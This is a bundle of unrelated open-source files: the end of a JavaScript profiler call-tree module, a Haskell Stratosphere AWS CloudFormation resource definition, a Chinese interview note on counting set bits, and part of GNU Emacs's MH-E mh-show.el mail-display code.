// Propagate weights so percents can be calculated correctly.
counters.getRoot().selfWeight = root.selfWeight;
counters.getRoot().totalWeight = root.totalWeight;
}
return counters;
};
/**
* Creates a dynamic code entry.
*
* @param {number} size Code size.
* @param {string} type Code type.
* @param {string} name Function name.
* @constructor
*/
Profile.DynamicCodeEntry = function(size, type, name) {
CodeMap.CodeEntry.call(this, size, name);
this.type = type;
};
/**
* Returns node name.
*/
Profile.DynamicCodeEntry.prototype.getName = function() {
return this.type + ': ' + this.name;
};
/**
* Returns raw node name (without type decoration).
*/
Profile.DynamicCodeEntry.prototype.getRawName = function() {
return this.name;
};
Profile.DynamicCodeEntry.prototype.isJSFunction = function() {
return false;
};
/**
* Creates a dynamic code entry.
*
* @param {number} size Code size.
* @param {string} type Code type.
* @param {Profile.FunctionEntry} func Shared function entry.
* @param {Profile.CodeState} state Code optimization state.
* @constructor
*/
Profile.DynamicFuncCodeEntry = function(size, type, func, state) {
CodeMap.CodeEntry.call(this, size);
this.type = type;
this.func = func;
this.state = state;
};
Profile.DynamicFuncCodeEntry.STATE_PREFIX = ["", "~", "*"];
/**
* Returns node name.
*/
Profile.DynamicFuncCodeEntry.prototype.getName = function() {
var name = this.func.getName();
return this.type + ': ' + Profile.DynamicFuncCodeEntry.STATE_PREFIX[this.state] + name;
};
/**
* Returns raw node name (without type decoration).
*/
Profile.DynamicFuncCodeEntry.prototype.getRawName = function() {
return this.func.getName();
};
Profile.DynamicFuncCodeEntry.prototype.isJSFunction = function() {
return true;
};
/**
* Creates a shared function object entry.
*
* @param {string} name Function name.
* @constructor
*/
Profile.FunctionEntry = function(name) {
CodeMap.CodeEntry.call(this, 0, name);
};
/**
* Returns node name.
*/
Profile.FunctionEntry.prototype.getName = function() {
var name = this.name;
if (name.length == 0) {
name = '<anonymous>';
} else if (name.charAt(0) == ' ') {
// An anonymous function with location: " aaa.js:10".
name = '<anonymous>' + name;
}
return name;
};
/**
* Constructs a call graph.
*
* @constructor
*/
function CallTree() {
this.root_ = new CallTree.Node(
CallTree.ROOT_NODE_LABEL);
};
/**
* The label of the root node.
*/
CallTree.ROOT_NODE_LABEL = '';
/**
* @private
*/
CallTree.prototype.totalsComputed_ = false;
/**
* Returns the tree root.
*/
CallTree.prototype.getRoot = function() {
return this.root_;
};
/**
* Adds the specified call path, constructing nodes as necessary.
*
* @param {Array<string>} path Call path.
*/
CallTree.prototype.addPath = function(path) {
if (path.length == 0) {
return;
}
var curr = this.root_;
for (var i = 0; i < path.length; ++i) {
curr = curr.findOrAddChild(path[i]);
}
curr.selfWeight++;
this.totalsComputed_ = false;
};
/**
* Finds an immediate child of the specified parent with the specified
* label, creates a child node if necessary. If a parent node isn't
* specified, uses tree root.
*
* @param {string} label Child node label.
*/
CallTree.prototype.findOrAddChild = function(label) {
return this.root_.findOrAddChild(label);
};
/**
* Creates a subtree by cloning and merging all subtrees rooted at nodes
* with a given label. E.g. cloning the following call tree on label 'A'
* will give the following result:
*
* <A>--<B> <B>
* / /
* <root> == clone on 'A' ==> <root>--<A>
* \ \
* <C>--<A>--<D> <D>
*
* And <A>'s selfWeight will be the sum of selfWeights of <A>'s from the
* source call tree.
*
* @param {string} label The label of the new root node.
*/
CallTree.prototype.cloneSubtree = function(label) {
var subTree = new CallTree();
this.traverse(function(node, parent) {
if (!parent && node.label != label) {
return null;
}
var child = (parent ? parent : subTree).findOrAddChild(node.label);
child.selfWeight += node.selfWeight;
return child;
});
return subTree;
};
/**
* Computes total weights in the call graph.
*/
CallTree.prototype.computeTotalWeights = function() {
if (this.totalsComputed_) {
return;
}
this.root_.computeTotalWeight();
this.totalsComputed_ = true;
};
/**
* Traverses the call graph in preorder. This function can be used for
* building optionally modified tree clones. This is the boilerplate code
* for this scenario:
*
* callTree.traverse(function(node, parentClone) {
* var nodeClone = cloneNode(node);
* if (parentClone)
* parentClone.addChild(nodeClone);
* return nodeClone;
* });
*
* @param {function(CallTree.Node, *)} f Visitor function.
* The second parameter is the result of calling 'f' on the parent node.
*/
CallTree.prototype.traverse = function(f) {
var pairsToProcess = new ConsArray();
pairsToProcess.concat([{node: this.root_, param: null}]);
while (!pairsToProcess.atEnd()) {
var pair = pairsToProcess.next();
var node = pair.node;
var newParam = f(node, pair.param);
var morePairsToProcess = [];
node.forEachChild(function (child) {
morePairsToProcess.push({node: child, param: newParam}); });
pairsToProcess.concat(morePairsToProcess);
}
};
/**
* Performs an indepth call graph traversal.
*
* @param {function(CallTree.Node)} enter A function called
* prior to visiting node's children.
* @param {function(CallTree.Node)} exit A function called
* after visiting node's children.
*/
CallTree.prototype.traverseInDepth = function(enter, exit) {
function traverse(node) {
enter(node);
node.forEachChild(traverse);
exit(node);
}
traverse(this.root_);
};
/**
* Constructs a call graph node.
*
* @param {string} label Node label.
* @param {CallTree.Node} opt_parent Node parent.
*/
CallTree.Node = function(label, opt_parent) {
this.label = label;
this.parent = opt_parent;
this.children = {};
};
/**
* Node self weight (how many times this node was the last node in
* a call path).
* @type {number}
*/
CallTree.Node.prototype.selfWeight = 0;
/**
* Node total weight (includes weights of all children).
* @type {number}
*/
CallTree.Node.prototype.totalWeight = 0;
/**
* Adds a child node.
*
* @param {string} label Child node label.
*/
CallTree.Node.prototype.addChild = function(label) {
var child = new CallTree.Node(label, this);
this.children[label] = child;
return child;
};
/**
* Computes node's total weight.
*/
CallTree.Node.prototype.computeTotalWeight =
function() {
var totalWeight = this.selfWeight;
this.forEachChild(function(child) {
totalWeight += child.computeTotalWeight(); });
return this.totalWeight = totalWeight;
};
/**
* Returns all node's children as an array.
*/
CallTree.Node.prototype.exportChildren = function() {
var result = [];
this.forEachChild(function (node) { result.push(node); });
return result;
};
/**
* Finds an immediate child with the specified label.
*
* @param {string} label Child node label.
*/
CallTree.Node.prototype.findChild = function(label) {
return this.children[label] || null;
};
/**
* Finds an immediate child with the specified label, creates a child
* node if necessary.
*
* @param {string} label Child node label.
*/
CallTree.Node.prototype.findOrAddChild = function(label) {
return this.findChild(label) || this.addChild(label);
};
/**
* Calls the specified function for every child.
*
* @param {function(CallTree.Node)} f Visitor function.
*/
CallTree.Node.prototype.forEachChild = function(f) {
for (var c in this.children) {
f(this.children[c]);
}
};
/**
* Walks up from the current node up to the call tree root.
*
* @param {function(CallTree.Node)} f Visitor function.
*/
CallTree.Node.prototype.walkUpToRoot = function(f) {
for (var curr = this; curr != null; curr = curr.parent) {
f(curr);
}
};
/**
* Tries to find a node with the specified path.
*
* @param {Array<string>} labels The path.
* @param {function(CallTree.Node)} opt_f Visitor function.
*/
CallTree.Node.prototype.descendToChild = function(
labels, opt_f) {
for (var pos = 0, curr = this; pos < labels.length && curr != null; pos++) {
var child = curr.findChild(labels[pos]);
if (opt_f) {
opt_f(child, pos);
}
curr = child;
}
return curr;
};
|
{
"pile_set_name": "Github"
}
|
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE RecordWildCards #-}
{-# LANGUAGE StrictData #-}
{-# LANGUAGE TupleSections #-}
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html
module Stratosphere.Resources.CodeStarNotificationsNotificationRule where
import Stratosphere.ResourceImports
import Stratosphere.ResourceProperties.CodeStarNotificationsNotificationRuleTarget
-- | Full data type definition for CodeStarNotificationsNotificationRule. See
-- 'codeStarNotificationsNotificationRule' for a more convenient
-- constructor.
data CodeStarNotificationsNotificationRule =
CodeStarNotificationsNotificationRule
{ _codeStarNotificationsNotificationRuleDetailType :: Val Text
, _codeStarNotificationsNotificationRuleEventTypeIds :: ValList Text
, _codeStarNotificationsNotificationRuleName :: Val Text
, _codeStarNotificationsNotificationRuleResource :: Val Text
, _codeStarNotificationsNotificationRuleStatus :: Maybe (Val Text)
, _codeStarNotificationsNotificationRuleTags :: Maybe Object
, _codeStarNotificationsNotificationRuleTargets :: [CodeStarNotificationsNotificationRuleTarget]
} deriving (Show, Eq)
instance ToResourceProperties CodeStarNotificationsNotificationRule where
toResourceProperties CodeStarNotificationsNotificationRule{..} =
ResourceProperties
{ resourcePropertiesType = "AWS::CodeStarNotifications::NotificationRule"
, resourcePropertiesProperties =
hashMapFromList $ catMaybes
[ (Just . ("DetailType",) . toJSON) _codeStarNotificationsNotificationRuleDetailType
, (Just . ("EventTypeIds",) . toJSON) _codeStarNotificationsNotificationRuleEventTypeIds
, (Just . ("Name",) . toJSON) _codeStarNotificationsNotificationRuleName
, (Just . ("Resource",) . toJSON) _codeStarNotificationsNotificationRuleResource
, fmap (("Status",) . toJSON) _codeStarNotificationsNotificationRuleStatus
, fmap (("Tags",) . toJSON) _codeStarNotificationsNotificationRuleTags
, (Just . ("Targets",) . toJSON) _codeStarNotificationsNotificationRuleTargets
]
}
-- | Constructor for 'CodeStarNotificationsNotificationRule' containing
-- required fields as arguments.
codeStarNotificationsNotificationRule
:: Val Text -- ^ 'csnnrDetailType'
-> ValList Text -- ^ 'csnnrEventTypeIds'
-> Val Text -- ^ 'csnnrName'
-> Val Text -- ^ 'csnnrResource'
-> [CodeStarNotificationsNotificationRuleTarget] -- ^ 'csnnrTargets'
-> CodeStarNotificationsNotificationRule
codeStarNotificationsNotificationRule detailTypearg eventTypeIdsarg namearg resourcearg targetsarg =
CodeStarNotificationsNotificationRule
{ _codeStarNotificationsNotificationRuleDetailType = detailTypearg
, _codeStarNotificationsNotificationRuleEventTypeIds = eventTypeIdsarg
, _codeStarNotificationsNotificationRuleName = namearg
, _codeStarNotificationsNotificationRuleResource = resourcearg
, _codeStarNotificationsNotificationRuleStatus = Nothing
, _codeStarNotificationsNotificationRuleTags = Nothing
, _codeStarNotificationsNotificationRuleTargets = targetsarg
}
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-detailtype
csnnrDetailType :: Lens' CodeStarNotificationsNotificationRule (Val Text)
csnnrDetailType = lens _codeStarNotificationsNotificationRuleDetailType (\s a -> s { _codeStarNotificationsNotificationRuleDetailType = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-eventtypeids
csnnrEventTypeIds :: Lens' CodeStarNotificationsNotificationRule (ValList Text)
csnnrEventTypeIds = lens _codeStarNotificationsNotificationRuleEventTypeIds (\s a -> s { _codeStarNotificationsNotificationRuleEventTypeIds = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-name
csnnrName :: Lens' CodeStarNotificationsNotificationRule (Val Text)
csnnrName = lens _codeStarNotificationsNotificationRuleName (\s a -> s { _codeStarNotificationsNotificationRuleName = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-resource
csnnrResource :: Lens' CodeStarNotificationsNotificationRule (Val Text)
csnnrResource = lens _codeStarNotificationsNotificationRuleResource (\s a -> s { _codeStarNotificationsNotificationRuleResource = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-status
csnnrStatus :: Lens' CodeStarNotificationsNotificationRule (Maybe (Val Text))
csnnrStatus = lens _codeStarNotificationsNotificationRuleStatus (\s a -> s { _codeStarNotificationsNotificationRuleStatus = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-tags
csnnrTags :: Lens' CodeStarNotificationsNotificationRule (Maybe Object)
csnnrTags = lens _codeStarNotificationsNotificationRuleTags (\s a -> s { _codeStarNotificationsNotificationRuleTags = a })
-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-codestarnotifications-notificationrule.html#cfn-codestarnotifications-notificationrule-targets
csnnrTargets :: Lens' CodeStarNotificationsNotificationRule [CodeStarNotificationsNotificationRuleTarget]
csnnrTargets = lens _codeStarNotificationsNotificationRuleTargets (\s a -> s { _codeStarNotificationsNotificationRuleTargets = a })
|
{
"pile_set_name": "Github"
}
|
## 题目
输入一个整数,输出该数二进制表示中1的个数。其中负数用补码表示。
## 分析
这是一道考察二进制的题目
二进制或运算符`(or)`:符号为|,表示若两个二进制位都为`0`,则结果为`0`,否则为`1`。
二进制与运算符`(and)`:符号为&,表示若两个二进制位都为`1`,则结果为`1`,否则为`0`。
二进制否运算符`(not)`:符号为~,表示对一个二进制位取反。
异或运算符`(xor)`:符号为^,表示若两个二进制位不相同,则结果为1,否则为0
左移运算符`m << n `表示把m左移n位,左移n位的时候,最左边的n位将被丢弃,同时在最右边补上`n`个`0`,比如:
```js
00001010<<2 = 00101000
```
右移运算符`m >> n `表示把`m`右移`n`位,右移`n`位的时候,最右边的n位将被丢弃,同时在最左边补上`n`个`0`,比如:
```js
00001010>>2 = 00000010
```
我们可以让目标数字和一个数字做与运算
这个用户比较的数字必须只有一位是`1`其他位是`0`,这样就可以知道目标数字的这一位是否为`0`。
所以用于比较的这个数字初始值为`1`,比较完后让`1`左移`1`位,这样就可以依次比较所有位是否为`1`。
## 代码
```js
function NumberOf1(n)
{
let flag = 1;
let count = 0;
while(flag){
if(flag & n){
count++;
}
flag = flag << 1;
}
return count;
}
```
|
{
"pile_set_name": "Github"
}
|
;;; mh-show.el --- MH-Show mode
;; Copyright (C) 1993, 1995, 1997, 2000-2017 Free Software Foundation,
;; Inc.
;; Author: Bill Wohler <wohler@newt.com>
;; Maintainer: Bill Wohler <wohler@newt.com>
;; Keywords: mail
;; See: mh-e.el
;; This file is part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; GNU General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with GNU Emacs. If not, see <http://www.gnu.org/licenses/>.
;;; Commentary:
;; Mode for showing messages.
;;; Change Log:
;;; Code:
(require 'mh-e)
(require 'mh-scan)
;; Dynamically-created function not found in mh-loaddefs.el.
(autoload 'mh-tool-bar-init "mh-tool-bar")
(require 'font-lock)
(require 'gnus-cite)
(require 'gnus-util)
(require 'goto-addr)
(autoload 'mh-make-buffer-data "mh-mime") ;can't be automatically generated
;;; MH-Folder Commands
(defvar mh-showing-with-headers nil
"If non-nil, MH-Show buffer contains message with all header fields.
If nil, MH-Show buffer contains message processed normally.")
;;;###mh-autoload
(defun mh-show (&optional message redisplay-flag)
"Display message\\<mh-folder-mode-map>.
If the message under the cursor is already displayed, this command
scrolls to the beginning of the message. MH-E normally hides a lot of
the superfluous header fields that mailers add to a message, but if
you wish to see all of them, use the command \\[mh-header-display].
Two hooks can be used to control how messages are displayed. The
first hook, `mh-show-mode-hook', is called early on in the
process of the message display. It is usually used to perform
some action on the message's content. The second hook,
`mh-show-hook', is the last thing called after messages are
displayed. It's used to affect the behavior of MH-E in general or
when `mh-show-mode-hook' is too early.
From a program, optional argument MESSAGE can be used to display an
alternative message. The optional argument REDISPLAY-FLAG forces the
redisplay of the message even if the show buffer was already
displaying the correct message.
See the \"mh-show\" customization group for a litany of options that
control what displayed messages look like."
(interactive (list nil t))
(when (or redisplay-flag
(and mh-showing-with-headers
(or mh-mhl-format-file mh-clean-message-header-flag)))
(mh-invalidate-show-buffer))
(mh-show-msg message))
;;;###mh-autoload
(defun mh-header-display ()
"Display message with all header fields\\<mh-folder-mode-map>.
Use the command \\[mh-show] to show the message normally again."
(interactive)
(and (not mh-showing-with-headers)
(or mh-mhl-format-file mh-clean-message-header-flag)
(mh-invalidate-show-buffer))
(let ((mh-decode-mime-flag nil)
(mh-mhl-format-file nil)
(mh-clean-message-header-flag nil))
(mh-show-msg nil)
(mh-in-show-buffer (mh-show-buffer)
(goto-char (point-min))
(mh-recenter 0))
(setq mh-showing-with-headers t)))
;;;###mh-autoload
(defun mh-show-preferred-alternative ()
"Display message with the default preferred alternative.
This is as if `mm-discouraged-alternatives' is set to nil.
Use the command \\[mh-show] to show the message normally again."
(interactive)
(let
((mm-discouraged-alternatives))
(mh-show nil t)))
;;; Support Routines for MH-Folder Commands
;;;###mh-autoload
(defun mh-maybe-show (&optional msg)
"Display message at cursor, but only if in show mode.
If optional arg MSG is non-nil, display that message instead."
(if mh-showing-mode (mh-show msg)))
(defun mh-show-msg (msg)
"Show MSG.
The hook `mh-show-hook' is called after the message has been
displayed."
(if (not msg)
(setq msg (mh-get-msg-num t)))
(mh-showing-mode t)
(setq mh-page-to-next-msg-flag nil)
(let ((folder mh-current-folder)
(folders (list mh-current-folder))
(clean-message-header mh-clean-message-header-flag)
(show-window (get-buffer-window mh-show-buffer))
(display-mime-buttons-flag mh-display-buttons-for-inline-parts-flag))
(if (not (eq (next-window (minibuffer-window)) (selected-window)))
(delete-other-windows)) ; force ourself to the top window
(mh-in-show-buffer (mh-show-buffer)
(setq mh-display-buttons-for-inline-parts-flag display-mime-buttons-flag)
(if (and show-window
(equal (mh-msg-filename msg folder) buffer-file-name))
(progn ;just back up to start
(goto-char (point-min))
(if (not clean-message-header)
(mh-start-of-uncleaned-message)))
(mh-display-msg msg folder)))
(unless (mh-window-full-height-p) ; not vertically split
(shrink-window (- (window-height) (or mh-summary-height
(mh-summary-height)))))
(mh-recenter nil)
;; The following line is a nop which forces update of the scan line so
;; that font-lock will update it (if needed)...
(mh-notate nil nil mh-cmd-note)
(if (not (memq msg mh-seen-list))
(setq mh-seen-list (cons msg mh-seen-list)))
(when mh-update-sequences-after-mh-show-flag
(mh-update-sequences)
(when mh-index-data
(setq folders
(append (mh-index-delete-from-sequence mh-unseen-seq (list msg))
folders)))
(when (mh-speed-flists-active-p)
(apply #'mh-speed-flists t folders)))
(run-hooks 'mh-show-hook)))
;;;###mh-autoload
(defun mh-start-of-uncleaned-message ()
"Position uninteresting headers off the top of the window."
(let ((case-fold-search t))
(re-search-forward
"^To:\\|^Cc:\\|^From:\\|^Subject:\\|^Date:" nil t)
(beginning-of-line)
(mh-recenter 0)))
(defvar mh-show-buffer-mode-line-buffer-id " {show-%s} %d"
"Format string to produce `mode-line-buffer-identification' for show buffers.
First argument is folder name. Second is message number.")
;;;###mh-autoload
(defun mh-display-msg (msg-num folder-name)
"Display MSG-NUM of FOLDER-NAME.
Sets the current buffer to the show buffer."
(let ((folder (mh-msg-folder folder-name)))
(set-buffer folder)
;; When Gnus uses external displayers it has to keep handles longer. So
;; we will delete these handles when mh-quit is called on the folder. It
;; would be nicer if there are weak pointers in emacs lisp, then we could
;; get the garbage collector to do this for us.
(unless (mh-buffer-data)
(setf (mh-buffer-data) (mh-make-buffer-data)))
;; Bind variables in folder buffer in case they are local
(let ((formfile mh-mhl-format-file)
(clean-message-header mh-clean-message-header-flag)
(invisible-headers mh-invisible-header-fields-compiled)
(visible-headers nil)
(msg-filename (mh-msg-filename msg-num folder-name))
(show-buffer mh-show-buffer)
(mm-inline-media-tests mh-mm-inline-media-tests))
(if (not (file-exists-p msg-filename))
(error "Message %d does not exist" msg-num))
(if (and (> mh-show-maximum-size 0)
(> (elt (file-attributes msg-filename) 7)
mh-show-maximum-size)
(not (y-or-n-p
(format
"Message %d (%d bytes) exceeds %d bytes. Display it? "
msg-num (elt (file-attributes msg-filename) 7)
mh-show-maximum-size))))
(error "Message %d not displayed" msg-num))
(set-buffer show-buffer)
(cond ((not (equal msg-filename buffer-file-name))
(mh-unvisit-file)
(setq buffer-read-only nil)
;; Cleanup old mime handles
(mh-mime-cleanup)
(erase-buffer)
;; Changing contents, so this hook needs to be reinitialized.
;; pgp.el uses this.
(if (boundp 'write-contents-hooks) ;Emacs 19
(kill-local-variable 'write-contents-hooks))
(if formfile
(mh-exec-lib-cmd-output "mhl" "-nobell" "-noclear"
(if (stringp formfile)
(list "-form" formfile))
msg-filename)
(insert-file-contents-literally msg-filename))
;; Use mm to display buffer
(when (and mh-decode-mime-flag (not formfile))
(mh-add-missing-mime-version-header)
(setf (mh-buffer-data) (mh-make-buffer-data))
(mh-mime-display))
(mh-show-mode)
;; Header cleanup
(goto-char (point-min))
(cond (clean-message-header
(mh-clean-msg-header (point-min)
invisible-headers
visible-headers)
(goto-char (point-min)))
(t
(mh-start-of-uncleaned-message)))
(mh-decode-message-header)
;; the parts of visiting we want to do (no locking)
(or (eq buffer-undo-list t) ;don't save undo info for prev msgs
(setq buffer-undo-list nil))
(set-buffer-auto-saved)
;; the parts of set-visited-file-name we want to do (no locking)
(setq buffer-file-name msg-filename)
(setq buffer-backed-up nil)
(auto-save-mode 1)
(set-mark nil)
(unwind-protect
(when (and mh-decode-mime-flag (not formfile))
(setq buffer-read-only nil)
(mh-display-smileys)
(mh-display-emphasis))
(setq buffer-read-only t))
(set-buffer-modified-p nil)
(setq mh-show-folder-buffer folder)
(setq mode-line-buffer-identification
(list (format mh-show-buffer-mode-line-buffer-id
folder-name msg-num)))
(mh-logo-display)
(set-buffer folder)
(setq mh-showing-with-headers nil))))))
(defun mh-msg-folder (folder-name)
"Return the name of the buffer for FOLDER-NAME."
folder-name)
;;;###mh-autoload
(defun mh-clean-msg-header (start invisible-headers visible-headers)
"Flush extraneous lines in message header.
Header is cleaned from START to the end of the message header.
INVISIBLE-HEADERS contains a regular expression specifying lines
to delete from the header. VISIBLE-HEADERS contains a regular
expression specifying the lines to display. INVISIBLE-HEADERS is
ignored if VISIBLE-HEADERS is non-nil."
;; XXX Note that MH-E no longer supports the `mh-visible-headers'
;; variable, so this function could be trimmed of this feature too."
(let ((case-fold-search t)
(buffer-read-only nil))
(save-restriction
(goto-char start)
(if (search-forward "\n\n" nil 'move)
(backward-char 1))
(narrow-to-region start (point))
(goto-char (point-min))
(if visible-headers
(while (< (point) (point-max))
(cond ((looking-at visible-headers)
(forward-line 1)
(while (looking-at "[ \t]") (forward-line 1)))
(t
(mh-delete-line 1)
(while (looking-at "[ \t]")
(mh-delete-line 1)))))
(while (re-search-forward invisible-headers nil t)
(beginning-of-line)
(mh-delete-line 1)
(while (looking-at "[ \t]")
(mh-delete-line 1)))))
(let ((mh-compose-skipped-header-fields ()))
(mh-letter-hide-all-skipped-fields))
(unlock-buffer)))
;;;###mh-autoload
(defun mh-invalidate-show-buffer ()
"Invalidate the show buffer so we must update it to use it."
(if (get-buffer mh-show-buffer)
(with-current-buffer mh-show-buffer
(mh-unvisit-file))))
(defun mh-unvisit-file ()
"Separate current buffer from the message file it was visiting."
(or (not (buffer-modified-p))
(null buffer-file-name) ;we've been here before
(yes-or-no-p (format "Message %s modified; discard changes? "
(file-name-nondirectory buffer-file-name)))
(error "Changes preserved"))
(clear-visited-file-modtime)
(unlock-buffer)
(setq buffer-file-name nil))
(defun mh-summary-height ()
"Return ideal value for the variable `mh-summary-height'.
The current frame height is taken into consideration."
(or (and (fboundp 'frame-height)
(> (frame-height) 24)
(min 10 (/ (frame-height) 6)))
4))
;; Infrastructure to generate show-buffer functions from folder functions
;; XEmacs does not have deactivate-mark? What is the equivalent of
;; transient-mark-mode for XEmacs? Should we be restoring the mark in the
;; folder buffer after the operation has been carried out.
(defmacro mh-defun-show-buffer (function original-function
&optional dont-return)
"Define FUNCTION to run ORIGINAL-FUNCTION in folder buffer.
If the buffer we start in is still visible and DONT-RETURN is nil
then switch to it after that."
`(defun ,function ()
,(format "Calls %s from the message's folder.\n%s\nSee `%s' for more info.\n"
original-function
(if dont-return ""
"When function completes, returns to the show buffer if it is
still visible.\n")
original-function)
(interactive)
(when (buffer-live-p (get-buffer mh-show-folder-buffer))
(let ((config (current-window-configuration))
(folder-buffer mh-show-folder-buffer)
(normal-exit nil)
,@(if dont-return () '((cur-buffer-name (buffer-name)))))
(pop-to-buffer mh-show-folder-buffer nil)
(unless (equal (buffer-name
(window-buffer (frame-first-window (selected-frame))))
folder-buffer)
(delete-other-windows))
(mh-goto-cur-msg t)
(mh-funcall-if-exists deactivate-mark)
(unwind-protect
(prog1 (call-interactively (function ,original-function))
(setq normal-exit t))
(mh-funcall-if-exists deactivate-mark)
(when (eq major-mode 'mh-folder-mode)
(mh-funcall-if-exists hl-line-highlight))
(cond ((not normal-exit)
(set-window-configuration config))
,(if dont-return
`(t (setq mh-previous-window-config config))
`((and (get-buffer cur-buffer-name)
(window-live-p (get-buffer-window
(get-buffer cur-buffer-name))))
(pop-to-buffer (get-buffer cur-buffer-name) nil)))))))))
;; Generate interactive functions for the show buffer from the corresponding
;; folder functions.
(mh-defun-show-buffer mh-show-previous-undeleted-msg
mh-previous-undeleted-msg)
(mh-defun-show-buffer mh-show-next-undeleted-msg
mh-next-undeleted-msg)
(mh-defun-show-buffer mh-show-quit mh-quit)
(mh-defun-show-buffer mh-show-delete-msg mh-delete-msg)
(mh-defun-show-buffer mh-show-refile-msg mh-refile-msg)
(mh-defun-show-buffer mh-show-undo mh-undo)
(mh-defun-show-buffer mh-show-execute-commands mh-execute-commands)
(mh-defun-show-buffer mh-show-reply mh-reply t)
(mh-defun-show-buffer mh-show-redistribute mh-redistribute)
(mh-defun-show-buffer mh-show-forward mh-forward t)
(mh-defun-show-buffer mh-show-header-display mh-header-display)
(mh-defun-show-buffer mh-show-refile-or-write-again
mh-refile-or-write-again)
(mh-defun-show-buffer mh-show-show mh-show)
(mh-defun-show-buffer mh-show-show-preferred-alternative mh-show-preferred-alternative)
(mh-defun-show-buffer mh-show-write-message-to-file
mh-write-msg-to-file)
(mh-defun-show-buffer mh-show-extract-rejected-mail
mh-extract-rejected-mail t)
(mh-defun-show-buffer mh-show-delete-msg-no-motion
mh-delete-msg-no-motion)
(mh-defun-show-buffer mh-show-first-msg mh-first-msg)
(mh-defun-show-buffer mh-show-last-msg mh-last-msg)
(mh-defun-show-buffer mh-show-copy-msg mh-copy-msg)
(mh-defun-show-buffer mh-show-edit-again mh-edit-again t)
(mh-defun-show-buffer mh-show-goto-msg mh-goto-msg)
(mh-defun-show-buffer mh-show-inc-folder mh-inc-folder)
(mh-defun-show-buffer mh-show-delete-subject-or-thread
mh-delete-subject-or-thread)
(mh-defun-show-buffer mh-show-delete-subject mh-delete-subject)
(mh-defun-show-buffer mh-show-print-msg mh-print-msg)
(mh-defun-show-buffer mh-show-send mh-send t)
(mh-defun-show-buffer mh-show-toggle-showing mh-toggle-showing t)
(mh-defun-show-buffer mh-show-pipe-msg mh-pipe-msg t)
(mh-defun-show-buffer mh-show-sort-folder mh-sort-folder)
(mh-defun-show-buffer mh-show-visit-folder mh-visit-folder t)
(mh-defun-show-buffer mh-show-rescan-folder mh-rescan-folder)
(mh-defun-show-buffer mh-show-pack-folder mh-pack-folder)
(mh-defun-show-buffer mh-show-kill-folder mh-kill-folder t)
(mh-defun-show-buffer mh-show-list-folders mh-list-folders t)
(mh-defun-show-buffer mh-show-undo-folder mh-undo-folder)
(mh-defun-show-buffer mh-show-delete-msg-from-seq
mh-delete-msg-from-seq)
(mh-defun-show-buffer mh-show-delete-seq mh-delete-seq)
(mh-defun-show-buffer mh-show-list-sequences mh-list-sequences)
(mh-defun-show-buffer mh-show-narrow-to-seq mh-narrow-to-seq)
(mh-defun-show-buffer mh-show-put-msg-in-seq mh-put-msg-in-seq)
(mh-defun-show-buffer mh-show-msg-is-in-seq mh-msg-is-in-seq)
(mh-defun-show-buffer mh-show-widen mh-widen)
(mh-defun-show-buffer mh-show-narrow-to-subject mh-narrow-to-subject)
(mh-defun-show-buffer mh-show-narrow-to-from mh-narrow-to-from)
(mh-defun-show-buffer mh-show-narrow-to-cc mh-narrow-to-cc)
(mh-defun-show-buffer mh-show-narrow-to-range mh-narrow-to-range)
(mh-defun-show-buffer mh-show-narrow-to-to mh-narrow-to-to)
(mh-defun-show-buffer mh-show-store-msg mh-store-msg)
(mh-defun-show-buffer mh-show-page-digest mh-page-digest)
(mh-defun-show-buffer mh-show-page-digest-backwards
mh-page-digest-backwards)
(mh-defun-show-buffer mh-show-burst-digest mh-burst-digest)
(mh-defun-show-buffer mh-show-page-msg mh-page-msg)
(mh-defun-show-buffer mh-show-previous-page mh-previous-page)
(mh-defun-show-buffer mh-show-modify mh-modify t)
(mh-defun-show-buffer mh-show-next-button mh-next-button)
(mh-defun-show-buffer mh-show-prev-button mh-prev-button)
(mh-defun-show-buffer mh-show-toggle-mime-part mh-folder-toggle-mime-part)
(mh-defun-show-buffer mh-show-save-mime-part mh-folder-save-mime-part)
(mh-defun-show-buffer mh-show-inline-mime-part mh-folder-inline-mime-part)
(mh-defun-show-buffer mh-show-toggle-threads mh-toggle-threads)
(mh-defun-show-buffer mh-show-thread-delete mh-thread-delete)
(mh-defun-show-buffer mh-show-thread-refile mh-thread-refile)
(mh-defun-show-buffer mh-show-update-sequences mh-update-sequences)
(mh-defun-show-buffer mh-show-next-unread-msg mh-next-unread-msg)
(mh-defun-show-buffer mh-show-previous-unread-msg mh-previous-unread-msg)
(mh-defun-show-buffer mh-show-thread-ancestor mh-thread-ancestor)
(mh-defun-show-buffer mh-show-thread-next-sibling mh-thread-next-sibling)
(mh-defun-show-buffer mh-show-thread-previous-sibling
mh-thread-previous-sibling)
(mh-defun-show-buffer mh-show-index-visit-folder mh-index-visit-folder t)
(mh-defun-show-buffer mh-show-toggle-tick mh-toggle-tick)
(mh-defun-show-buffer mh-show-narrow-to-tick mh-narrow-to-tick)
(mh-defun-show-buffer mh-show-junk-blacklist mh-junk-blacklist)
(mh-defun-show-buffer mh-show-junk-whitelist mh-junk-whitelist)
